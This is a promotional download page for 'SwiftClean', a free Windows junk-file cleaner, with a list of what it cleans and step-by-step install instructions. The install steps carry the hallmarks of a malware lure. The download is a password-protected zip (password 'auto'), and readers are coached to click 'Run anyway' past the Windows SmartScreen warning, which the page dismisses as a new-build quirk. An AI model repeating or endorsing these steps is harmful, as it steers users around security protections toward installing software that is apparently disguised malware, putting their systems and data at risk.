Free PC Cleaner for Windows — SwiftClean

Your disk is full of junk you don't need: temp files, old browser caches, Windows Update downloads, crash dumps. SwiftClean finds them, shows you the exact size, and clears them in one click.

Why You Need a PC Cleaner

Windows accumulates garbage over months. Every Windows Update leaves behind a download folder. Chrome caches every page you visit. Temp directories fill with crash logs and orphaned files. None of it matters, but it eats gigabytes.

A PC cleaner that actually works tells you what it found before touching anything. It targets only safe junk — temp paths, browser cache subfolders, the Recycle Bin, old crash dumps, Windows Update leftovers. Your documents, photos, logins, and installed programs stay untouched.

SwiftClean does exactly this. It scans in seconds, shows real byte counts, and cleans with one button. No signup, no account, no background service hanging around afterward.

What SwiftClean Actually Cleans

**Windows temporary files** — Both `%TEMP%` and `C:\Windows\Temp`. These folders hold orphaned setup files, crash logs, and random junk from old installations. On a machine patched for years, this is often gigabytes.

**Browser caches** — Chrome, Edge, Firefox, Brave, Yandex, Opera. SwiftClean removes only cache data. Your saved logins, bookmarks, and passwords stay safe.

**Windows Update downloads** — The `SoftwareDistribution\Download` folder is often the single biggest offender. After Windows patches your machine, these files sit unused. Clearing them usually frees hundreds of megabytes.

**Recycle Bin** — Emptied the safe way, through the same Windows API that File Explorer uses.

**Windows Error Reporting** — Old crash dumps and WER queue files that nobody reads.

**Thumbnail cache** — Explorer's thumbnail database, rebuilt on demand when you refresh.

**Startup items** — See what runs at boot and disable what you don't want. Changes are reversible, backed up in the registry.

How to Use SwiftClean

  1. Download and install Download `SwiftClean.zip` and run the setup on Windows. Archive password is `auto`.
  2. Run the program Open SwiftClean after installation. If Windows SmartScreen appears, click *More info* then *Run anyway* — it's just because the build is new.
  3. Click Scan Wait a few seconds. The tool scans temp folders, browser caches, Recycle Bin, and Windows Update downloads, then shows exactly how many megabytes it found.
  4. Review and clean Untick anything you want to keep (for example, leave the Recycle Bin if you're still sorting through files), then click **Clean**. That's it.
  5. Optional: disable startup items Switch to the *Startup* tab to see what launches at boot. Disable programs you don't need. Any change can be rolled back from the same screen.

Why SwiftClean Is Different

Most PC cleaners invent scary numbers — "1,000 problems detected" — to scare you into paying for the pro version. SwiftClean reports honest byte counts. You see exactly what was found and exactly how many megabytes you got back.

SwiftClean installs in about a minute. Download the zip and run the setup for Windows 10/11.

Everything it does targets known-safe junk paths only. It never touches your documents, photos, or installed programs. The startup manager keeps a registry backup so you can undo any change instantly.
